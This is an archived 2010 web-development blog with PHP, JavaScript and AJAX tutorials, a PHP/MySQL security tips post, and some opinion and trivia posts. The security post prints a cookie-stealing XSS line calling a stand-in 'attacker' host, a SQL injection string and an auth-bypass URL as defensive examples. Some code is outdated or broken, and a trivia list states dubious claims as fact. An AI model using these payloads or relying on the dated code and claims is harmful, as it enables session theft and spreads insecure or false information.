Web Development - Programming - Codehead

jQuery UI Dialog And The Enter - Return Key Problem

Codehead — Thu, 18 Feb 2010 06:53:38 +0000

This is another post for my ‘Annoying Stuff’ collection and this one is very, so very annoying…

The problem is that jQuery UI, supports forms in dialogs but the problem is that a user can’t hit ‘Enter’ to submit the form, it will break everything, a user has to actually hit the ‘Submit’ (or whatever) button manually. This make the whole thing completely useless unless you make some changes that are basically tweaking the internals of jQuery UI, which is ugly and can break if they change things around but sadly this is the only solution for now.

Assuming that you use the same syntax jQuery UI suggests to create your form, the fix is something like this:

$('.dialog').find('input').keypress(function(e) {
	if ((e.which && e.which == 13) || (e.keyCode && e.keyCode == 13)) {
		$(this).parent().parent().parent().parent().find('.ui-dialog-buttonpane').find('button:first').click(); /* Assuming the first one is the action button */
		return false;
	}
});

You might have to modify it a tiny bit, if that’s the case, you most likely have to change the part $(’.dialog’) so that it selects the right container that wraps the form…

document.getElementById On All Browsers - Cross browser getElementById

Codehead — Mon, 08 Feb 2010 19:33:03 +0000

Here is a little JavaScript function that gets an object according to it’s id and it’s cross browser.

/*********************************************************************
   * Get an object, this function is cross browser
   * Usage: 
   * var object = get_object(element_id);
   * @Author Hamid Alipour http://blog.code-head.com/
  **/
  function get_object(id) {
   var object = null;
   if (document.layers) {   
    object = document.layers[id];
   } else if (document.all) {
    object = document.all[id];
   } else if (document.getElementById) {
    object = document.getElementById(id);
   }
   return object;
  }
  /*********************************************************************/

Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern

Codehead — Mon, 08 Feb 2010 19:27:06 +0000

This is another thread from our forums which we are closing down soon.

This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories.

It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.

You also have an option to exclude file extensions and directories.

The other thing about this script is that it is a great little example of composite design pattern in action; every directory is an object that will count all the lines (in the files) in it and asks it’s sub directories to do the same, then the sub directories also repeat the same process.


 
	/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script our remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/
 
	define('SHOW_DETAILS', true);
 
	class Folder {
 
		var $name;
		var $path;
		var $folders;
		var $files;
		var $exclude_extensions;
		var $exclude_files;
		var $exclude_folders;
 
 
		function Folder($path) {
			$this -> path 		= $path;
			$this -> name		= array_pop( array_filter( explode(DIRECTORY_SEPARATOR, $path) ) );
			$this -> folders 	= array();
			$this -> files		= array();
			$this -> exclude_extensions = array('gif', 'jpg', 'jpeg', 'png', 'tft', 'bmp', 'rest-of-the-file-extensions-to-exclude');
			$this -> exclude_files 	    = array('count_lines.php', 'rest-of-the-files-to-exclude');
			$this -> exclude_folders 	 = array('_private', '_vti_bin', '_vti_cnf', '_vti_log', '_vti_pvt', '_vti_txt', 'rest-of-the-folders-to-exclude');
		}
 
		function count_lines() {
			if( defined('SHOW_DETAILS') ) echo "/Folder: {$this -> path}...\n";
			$total_lines = 0;
			$this -> get_contents();
			foreach($this -> files as $file) {
				if( in_array($file -> ext, $this -> exclude_extensions) || in_array($file -> name, $this -> exclude_files) ) {
					if( defined('SHOW_DETAILS') ) echo "#---Skipping File: {$file -> name};\n";
					continue;
				}
				$total_lines += $file -> get_num_lines();
			}
			foreach($this -> folders as $folder) {
				if( in_array($folder -> name, $this -> exclude_folders) ) {
					if( defined('SHOW_DETAILS') ) echo "#Skipping Folder: {$folder -> name};\n";
					continue;
				}
				$total_lines += $folder -> count_lines();
			}
			if( defined('SHOW_DETAILS') ) echo "\Total lines in {$this -> name}: $total_lines;\n\n";
			return $total_lines;
		}
 
		function get_contents() {
			$contents = $this -> _get_contents();
			foreach($contents as $key => $value) {
				if( $value['type'] == 'Folder' ) {
					$this -> folders[] = new Folder($value['item']);
				} else {
					$this -> files[]   = new File  ($value['item']);
				}
			}
		}
 
		function _get_contents() {		
			$folder = $this -> path;
			if( !is_dir($folder) ) { 
				return array();
			}
			$return_array = array();
			$count		  = 0;
			if( $dh = opendir($folder) ) {
				while( ($file = readdir($dh)) !== false ) {
					if( $file == '.' || $file == '..' ) continue;													
					$return_array[$count]['item']	= $folder .$file .(is_dir($folder .$file) ? DIRECTORY_SEPARATOR : '');
					$return_array[$count]['type']	= is_dir($folder .$file) ? 'Folder' : 'File';
					$count++;				
				}
				closedir($dh);
			}
			return $return_array;
		}	
 
	} // Class
 
	class File {
 
		var $name;
		var $path;
		var $ext;
 
 
		function File($path) {
			$this -> path = $path;
			$this -> name = basename($path);			
			$this -> ext  = array_pop( explode('.', $this -> name) );
		}
 
		function get_num_lines() {
			$count_lines = count(file($this -> path));
			if( defined('SHOW_DETAILS') ) echo "|---File: {$this -> name}, lines: $count_lines;\n";
			return $count_lines;
		}
 
	} // Class
 
	$path_to_here = dirname(__FILE__) .DIRECTORY_SEPARATOR;
	$folder 		  = new Folder($path_to_here);
	echo 'Total lines of code: ' .$folder -> count_lines() ."\n\n";
 
?>

Some Fun Stuff

Codehead — Sat, 06 Feb 2010 21:38:05 +0000

1 - Did you know that there were only 300 years of peace on Earth in total?

2 - GPS satellites have atomic clocks that tick at around a few billion times per second, did you know that their clocks tick a little faster than the clocks on earth? This is what Albert Einstein predicted, clocks that are closer to a strong source of gravity tick slower!!!!

http://en.wikipedia.org/wiki/Global_Positioning_System#Relativity

3 - Did you know that an unknown flying object followed Apollo 11 along it’s way to the moon? If you don’t believe me, listen to Buzz Aldrin talking about it:

4 - Did you know that there are 100,000 little machines inside each of our cells?

5 - Did you know that some people who we thought that were in vegetative state are actually aware but can’t communicate?

onMouseOut fix on nested elements - JavaScript

Codehead — Wed, 03 Feb 2010 23:07:14 +0000

When you have nested elements and you add an onMouseOut event handler to the parent element, browsers trigger onMouseOut event when mouse pointer hovers it’s child elements.
While this is a standard behaviour, for one project I needed to write a code to override this behaviour.
With this code, when you mouse over the child elements, onMouseOut event will be ignored.

You can download this code here:
http://images.code-head.com/code/javascript/fixOnMouseOut.zip

You can test it here:
http://images.code-head.com/code/javascript/fixOnMouseOuttest.html

This code is cross browser and here is how to use it:


 
   So many child elements

PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

Codehead — Wed, 03 Feb 2010 00:12:06 +0000

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {    
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;    
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users"; 
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

Learning PHP - best PHP books

Codehead — Wed, 03 Feb 2010 00:08:15 +0000

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

Learning PHP - best PHP books

PHP and MySQL Web Development (4th Edition) (Developer’s Library) (Hardcover)
by, Luke Welling and Laura Thomson

This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.
Some other useful topics covered in this book are:
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.
_________________________________________________

Advanced PHP Programming
by, George Schlossnagle

This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.
_________________________________________________

PHP|Architect’s Guide to PHP Design Patterns
by, Jason E. Sweat

This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.
The book covers 16 different design patterns including:
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.
_________________________________________________

PHP|Architect’s Guide to PHP Security
by, Ilia Alshanetsky

This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.
This is a MUST read book for PHP developers.
_________________________________________________

Mastering Regular Expressions (3rd Edition)
by, Jeffrey E F Friedl

This book is the best book on Regular Expressions. If you’re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.
Plus, the 3rd edition has an entire chapter dedicated to PHP.

I Know Which Tablet I Want

Codehead — Sat, 30 Jan 2010 09:52:11 +0000

OK, if you are an Apple fan, don’t be mad at me, I like Apple but I don’t like the spooky-dishonesty stuff…

To be honest, some Apple fans are kind of scary, have you ever seen their comments on YouTube or elsewhere? It’s like Apple is their religion and Steve Jobs is their profit, no wonder…

Anyways, things like this bother me a lot:

1 - Showing that the device supports Flash in the ads when in reality it doesn’t, do you realise someone big in that company said “Let’s make it look like it supports Flash in the ads!”???

2 - Steve Jobs said that they designed the A4 chip “right here at Apple” but in reality it is a ARM Cortex chip!!!!

On the other hand, there is going to be a very, very interesting product out soon, it’s HP Slate, the name is kind of lame but it will be running a full version of Windows 7 and under the hood, it has a NVIDIA Tegra 2, which is a very cool chip; it has dual ARM Cortex 1GHz CPUs!

I have a big laptop for work, but I have a little one that I carry around EVERYWHERE with me and it’s very handy, for watching videos and stuff other than work. I was hoping that the iPad could replace that but it didn’t turn out to be that way, HP Slate on the other hand, will do exactly that.

Sorry Apple…

I Want An iPad - NOT!

Codehead — Fri, 29 Jan 2010 21:23:50 +0000

Ignore my last post, the more I know about it, the more problems I have with this pretty device…

Here are my mail reasons:

1 - It doesn’t have the OSX, the OS is like the one on iPhone.
2 - No multitasking support.
3 - No Flash support!!!!
4 - No camera.

It’s basically a giant iPhone with less features!!

Sadly, Apple got it wrong this time. I also noticed that Steve Jobs wasn’t very excited when he introduced it, it wasn’t like the iPhone keynote, maybe he wasn’t very pleased with it either.

It’s too bad…

I Want An iPad

Codehead — Thu, 28 Jan 2010 18:59:47 +0000

I’m not an apple customer, I’ve been thinking about switching to Mac for a while but that requires Mac based software for our work so I’m not ready yet.

But seeing Steve Jobs introduce the iPad, we’ve decided we each want one!

I love everything about this device, I don’t know who will buy a Netbook or a Kindle, or at least I wouldn’t…

There are some things that I like to see on this device, one is a complete Mac-like OS (rather than iPhone) although I know it’s OS 10 already but it would be really nice to have that. The other thing is a camera but I will buy one regardless of these features.

The only thing that disappoints me about this device is that, I have to wait 2-3 months for it to come out, I will write more as soon as I have it.

Fatal error: Call to undefined method FacebookRestClient::users_isAppAdded() - Updating An Old Facebook Application

Codehead — Mon, 25 Jan 2010 20:54:57 +0000

If you get this error message after updating your Facebook library files:

Fatal error: Call to undefined method FacebookRestClient::users_isAppAdded()

Try changing this code:


/* ... */
       try {
	  if (!$facebook->api_client->users_isAppAdded()) {
	  		$facebook->redirect($facebook->get_add_url());
	  }
	} catch (Exception $ex) {
	  //this will clear cookies for your application and redirect them to a login prompt
	  $facebook->set_user(null, null);
	  $facebook->redirect($appcallbackurl);
	}
/* ... */
?>

With this:


/* ... */
       try {
	  if (!$facebook->api_client->users_isAppUser()) {
	  		$facebook->redirect($facebook->get_add_url());
	  }
	} catch (Exception $ex) {
	  //this will clear cookies for your application and redirect them to a login prompt
	  $facebook->set_user(null, null);
	  $facebook->redirect($appcallbackurl);
	}
/* ... */
?>

Use this at your own risk, it seems to fix the problem and I’m hoping it won’t introduce bugs in other places…

PHP Date/Time Handling Made Easy; a beginner’s guide to PHP time and date handling

Codehead — Sun, 24 Jan 2010 23:04:20 +0000

When I started with PHP, I was a bit confused about this subject so this will hopefully help a beginner a lot.

UNIX Timestamp

UNIX Timestamp (or Unix time or POSIX time) is the number of seconds since the midnight of January 1, 1970 UTC.

You can get the current timestamp with PHP’s time() function:


	echo time();
?>

This will show you the number of seconds since January 1, 1970 UTC.

Assume that you are creating a blogging application using PHP and you want to save the time/date of the posts
with them, in your database, you can create a table like this:

CREATE TABLE IF NOT EXISTS `post` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
  `title` varchar(250) NOT NULL DEFAULT '',
  `body` text NULL DEFAULT '',
  `ip_address` varchar(30) NOT NULL DEFAULT '',
  `date` int(11) DEFAULT NULL,
  `last_update` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY  (`id`),
  KEY `date` (`date`),
  KEY `last_update` (`last_update`)
);

Now, a query to insert a blog post will look something like this:


 
$query = '
	INSERT INTO post
		(
			user_id,
			title,
			body,
			ip_address,
			date,
			last_update
		)
	VALUES
		(
			' .$user_id .',
			' .mysql_real_escape_string($_POST['title']) .',
			' .mysql_real_escape_string($_POST['body']) .',
			' .mysql_real_escape_string($_SERVER['REMOTE_ADDR']) .',
			' .time() ',
			' .time() '
		)
';
?>

(I left our details about filtering $_POST array out of this, you might want to filter the $_POST array a bit)

This way the query to get all the posts, sorted by date would look like:

SELECT * 
FROM post
ORDER BY date DESC

A query to get all the posts from last 24 hours would look like:


$start_date = time() - (24 * 60 * 60);
$query = "
   SELECT * 
   FROM post
   WHERE date >= $start_date
   ORDER BY date DESC
";
$result = mysql_query($query);
/* ... */
?>

A Performance Tip

If you don’t pay attention, you will end up with 100s of calls to time() throughout your application and we
know that function calls have overhead so what do you do?

We can call time only ONCE and save the results in a constant which will be global also, just like the time()
function:


	define('TIME_NOW', time());
?>

Converting UNIX Time To Readable Time

How do we show what time it is? That is in a format like: Mon, 15 Aug 2005 15:12:46

There is another useful function in PHP for this purpose and that is the date() function.

First you must set a default system timezone, it’s very simple, way on top of your scripts, (in your main include
fine perhaps) call this:


	date_default_timezone_set('EST');
?>

Don’t worry if you don’t understand what’s happening, this might help clear out a bit of the confusion:
http://www.php.net/manual/en/function.date-default-timezone-set.php

Again, read on and just add the line above on top of your script…

Now back to business, here is a simple call to the date() function:


	echo date('D/M/Y', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

This will show you something like:

Sun/Jan/2010

You can see that the first argument is a format in which you want the date to be, shown and the second argument is the timestamp of the date, if you don’t provide the second argument, the current timestamp will be used.

Here is another example that shows the time also:


	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

Output:

Sun/Jan/2010 03:12:46 PM

These are some more examples: (taken from here)


// set the default timezone to use. Available since PHP 5.1
date_default_timezone_set('UTC');
 
 
// Prints something like: Monday
echo date("l");
 
// Prints something like: Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');
?>

I suggest that you read this page:

http://php.net/manual/en/function.date.php

Tip For Using The date() Function

You shouldn’t have lines like:


	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

All over your code, why?

Because if you decide to change the way you show date, then you have to go around and edit all the lines containing:


	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

To fix this, you could have a constant containing your date format string like:


	define('DATE_FORMAT', 'D/M/Y h:i:s A');
?>

Then in your code, you do this:


	echo date(DATE_FORMAT, TIME_NOW);
?>

Now if you want to change the format of the date throughout your PHP application, you can just edit the line with:


	define('DATE_FORMAT', 'D/M/Y h:i:s A');
?>

And it will magically change all of them!

Better yet, I would have a function like:


 
	function display_date($timestamp = NULL) {
		echo date('D/M/Y h:i:s A', $timestamp);
	}
 
?>

Or even better yet, you could have the function return the string as a value, so you have even greater control:


 
	function get_date_string($timestamp = NULL) {
		return date('D/M/Y h:i:s A', $timestamp);
	}
 
?>

Then call it like:


	echo get_date_string(TIME_NOW);
?>

The Pain Of Finding Out The Timestamp From A Formatted Date String

I made the pain part up, fortunately there is a function that does this very easily, it is strtotime()


	echo strtotime('9/25/2010 02:28:30 PM');
?>

And bam! magically, you will get the timestamp, it doesn’t end there, you can do things like this:


	echo strtotime('today'), "\n";
	echo strtotime('today + 1 day'), "\n";
	echo strtotime("now"), "\n";
	echo strtotime("10 September 2000"), "\n";
	echo strtotime("+1 day"), "\n";
	echo strtotime("+1 week"), "\n";
	echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
	echo strtotime("next Thursday"), "\n";
	echo strtotime("last Monday"), "\n";
?>

AJAX - Beginner AJAX Tutorial - Creating a simple AJAX website with example

Codehead — Thu, 21 Jan 2010 21:12:57 +0000

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

Beginner AJAX Tutorial - Creating a simple AJAX website with example

What you need to know before you read this tutorial:

You need to read the previous two tutorials, they are located at here:
Beginner Ajax Tutorial
Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message

(It will only takes a few minutes and will catch you up to this point.)

We are going to make a simple AJAX website with 4 pages.

A few things to note:

1. We are going to make a website that works just fine for users without JavaScript.
2. The back-end will be PHP, it might not be the best way to implement but it’s simple and effective for the purpose of this tutorial.
3. You will be able to download the complete source code for this AJAX tutorial.
4. In this AJAX tutorial the browser back button is ‘broken’, and users can’t bookmark internal pages of this website; fixing these issue is the topic of the next tutorial.
5. In this tutorial I’m going to demonstrate what can be done with AJAX in a simple way using inline JavaScript; separating presentation and behavior will be the topic of later tutorials.
Inline JavaScript looks like this:

About us

Let’s start with the back-end

Here is the directory structure of this website:

/index.php
/templates/main.php
/templates/home.php
/templates/about.php
/templates/services.php
/templates/contact.php
/images/few images
/yui/our yui code libraries

Here is the index.php source code:


 
	$templates_folder = 'templates/';
 
	if( !isset($_GET['page']) ) {
		$_GET['page'] = 'home';
	}
 
	/** 
	 * Because we are going to get the content of a file based on user input and display it
	 * to the user, we use basename function to make sure a sneaky user doesn't try
	 * something like ../../ to get a password file or something important.
	**/
	$page = trim(basename($_GET['page'])) .'.php';
 
	$page_file = $templates_folder .$page;
 
	/**
	 * Note: This assumes your templates are static, that is: there is no PHP code
	 * in them, I will write about how to handle that situation later but for now, 
	 * let's keep it simple :)
	**/
	if( file_exists($page_file) ) {
		$page_content = file_get_contents($page_file);
	} else {
		$page_content = 'This page doesn\'t exist here.';
	}
 
	/**
	 * If the $_GET['AJAX'] is set, then the request is coming from our JavaScript
	 * get_page() function, so we just send the $page_content to the browser.
	**/
	if( isset($_GET['AJAX']) ) {
		echo $page_content;
	} else {
		include $templates_folder .'main.php';
	}
 
?>

What it does is straightforward and you can understand the code just by reading it.
But here is how it works:

1. It checks the contents of the $_GET['page'] variable for the name of the page a visitors wants to visit and assigns it to $page.

$page = trim(basename($_GET['page'])) .'.php';
 
$page_file = $templates_folder .$page;

$page_file now contains the exact path to our template.

Also note that, this part of the code:

if( !isset($_GET['page']) ) {
	$_GET['page'] = 'home';
}

Makes sure that the home page is the default page, and if $_GET['page'] is empty it assigns ‘home’ to it.

2. It checks if the page exists in the templates folder.

if( file_exists($page_file) ) {
	$page_content = file_get_contents($page_file);
} else {
	$page_content = 'This page doesn\'t exist here.';
}

If it exists then it assigns it’s content to $page_content variable if not an error message that this page does not exist.

3. It checks the content of $_GET['AJAX'] variable and if its set, the request is coming from our JavaScript code:

if( isset($_GET['AJAX']) ) {
	echo $page_content;
} else {
	include $templates_folder .'main.php';
}

If it is coming from our JavaScript code then it only prints out the content of the page, but if not, it prints the main.php template.

Main.php source code:




	
	Sample AJAX-XHR Website	

 

 
		 echo $page_content; ?>

This is the main.php in it’s simplest format, I omitted the JavaScript.
What it does is just printing the $page_content variable in the page.

Other templates:

They only contain plain HTML code, you will see everything together soon.

The front end

All the JavaScript code goes into main.php, here is the JavaScript code we had so far in the previous tutorial:

The code we use for this tutorial is similar, we will only replace send_request() and test_failure() with one function, get_page():

get_page() function is very simple, here is what it does:

1. It receives the page name as an argument.

function get_page(page) {
	// ...
}

2. It check if the page variable is empty.

if( page == '' ) {				
	return false;
}

Here, this function does nothing if page variable is empty, you might want to show an error message.

3. It shows the progress bar before sending the request to the server, letting the user know that something is actually happening:

show_progressbar('content');

4. It sends the request to server and sets our success_handler and failure_handler as callbacks:

var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
YAHOO.util.Connect.asyncRequest('GET', 'index.php?AJAX=true&page=' + page, callback);

Note: We are sending a request to:

'index.php?AJAX=true&page=' + page

We set the AJAX variable to true and we set the page variable to the page variable that passed to the function. (It can be ‘about’, ’services’, etc.)

5. It returns false. Return false will result in any link that uses this function to appear as not working, that is, the browser won’t try to navigate
to the page specified in the links href attribute. Instead of letting the browser navigate to that page we replace the content of the page with JavaScript.

main.php with the JavaScript and a menu:




 
	
	Sample AJAX-XHR Website
 
	
	
	
	
 
	
 

 



 
	Sample AJAX-XHR Website
 
	
		About us
		    
		Our services
		    
		Contact us
		   
		Home

2 notes:
1. Menu links are like:

About us

Their href attribute is actually pointing to the right page, so users without JavaScript will be able to navigate through these pages, and search engines will have
no problem indexing these pages as well.

2. On the other hand their onClick event is set to call get_page() function and passes the page name as the argument to the get_page().

Here is how it works all together:
http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/

Please note: Ignore the look of this example, the point is the functionality.
You can try turning off your JavaScript and see that the example site still works just fine without it.

Download the complete source code here if you want to take a closer look at everything:
http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/sample-AJAX-XHR-website.zip

If you have questions or suggestions, feel free to reply to this thread.
-Codehead

Update:

I should mention that it’s a long time that I moved on to use jQuery rather than yui and I think jQuery is much nicer and easier to use library. I will hopefully write some tutrials on jQuery.

If you don’t know jQuery yet, download it here and HAVE FUN FOREVER!
Download jQuery

AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message

Codehead — Thu, 21 Jan 2010 21:01:39 +0000

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message

In the last AJAX tutorial I wrote about how to send requests to the server and receive the response,
in this short AJAX tutorial I will show you how to show a progress bar to the user when your application is
waiting for the server’s response, so your users will see something is actually happening

If you haven’t read the first AJAX tutorial, you’ll find it here:
http://blog.code-head.com/ajax-beginner-ajax-tutorial
It won’t take that long.

Here is the code that we have so far:



Beginner AJAX Tutorial - Progress Bar
 
	
	
	
 
	
 

 

Send Request | Fail a request

To show a loading progress bar you need to get a progress bar image, you can get one by searching.

I will use this one:

Let’s begin

First let’s make our code a little bit nicer and make a new function called, replace_html

		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;
		}

The way it works is that it receives two arguments:
‘id’ is the ID of the container where you want to replace the content
‘content’ is the new content to replace the old content

Now let’s rewrite our success_handler and failure_handler to use this function:

		function success_handler(o) {
			replace_html('content', o.responseText);
		}
 
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death');
		}

In success_handler for example, we call replace_html(’content’, o.responseText); instead of directly
replacing the content of our ‘content’ DIV like: document.getElementById(’content’).innerHTML = o.responseText;

Why?

First, because we don’t need to write document.getElementById(’content’).innerHTML = … all over the place and
we encapsulate this into replace_html function.

Second this will centralize our way of changing the content of a DIV, so if later for example we
find a better way to replace a DIV’s content, then we will just change one function and we don’t need
to go through and find all the lines like: document.getElementById(’content’).innerHTML = … and
change them.

Third, suppose you find out that on one kind of browser innerHTML doesn’t work, then again you
only need to change one function.

So far, all together we have this:



Beginner AJAX Tutorial - Progress Bar
 
	
	
	
 
	
 

 

Send Request | Fail a request

For our progress bar to show up fast, we have to preload it first, here is a simple way of preloading our progress bar:

		var progress_bar = new Image();
		progress_bar.src = 'http://images.code-head.com/progress-bars/4.gif';

This piece of JavaScript code will make an image instance and sets it’s source attribute to our progress bar, this is enough
to force the browser to preload the progress bar in it’s cache.

To display this progress bar when we are waiting for the server’s response, let’s write another function show_progressbar

		function show_progressbar(id) {
			replace_html(id, '');
		}

This function receives the ID of the container which we want to show our progress bar in and uses our replace_html
function to display the progress bar.
It simply replaces the content of that particular container with this bit of HTML code:

Now we will have to change our send_request and test_failure to use this function and show a progress bar when they are
starting to send a request:

		function send_request() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
		}
 
		function test_failure() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
		}

They simply call show_progressbar with the ID of our content DIV and then send their request to the server.

All together we have this code:



Beginner AJAX Tutorial - Progress Bar
 
	
	
	
 
	
 

 

Send Request | Fail a request

Go ahead and try it here:
http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial-progress-bar.html

This is it for now, on the next AJAX tutorial we are going to make a little sample website with all of these:)
Thanks,
-Codehead

Next: AJAX - Beginner AJAX Tutorial - Creating a simple AJAX website with example

AJAX - Beginner AJAX Tutorial

Codehead — Thu, 21 Jan 2010 20:30:42 +0000

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

AJAX - Beginner AJAX Tutorial

What you need to know
A basic knowledge of HTML, JavaScript and a server side language.

What is AJAX?
AJAX stands for Asynchronous JavaScript And XML.

XML?!
Don’t worry you don’t need to know XML, in fact we won’t even use XML to write web applications with AJAX.

What data type we will use you are going to see in later tutorials, but I assure you we will use
something 100 times simpler.

Overview
There are a few benefits you can gain by using this technique, one is than you won’t need to send the common parts of the page to the browser whenever a user views a page on your website.

Since this is a beginner AJAX tutorial let’s make a very simple ‘Hello World’ AJAX application.

Step 1:
We are going to use Yahoo! UI library or ‘yui’.
The benefit of using yui is that you don’t need to worry about browser compatibility and also many developers are working on it to make it even better every day.

So go ahead and download the latest version here:
http://developer.yahoo.com/yui/download/

Step 2:
Extract the files and in the ‘build’ folder you will see many folders containing different parts of yui.

For this tutorial we only need yahoo.js, event.js and connection.js
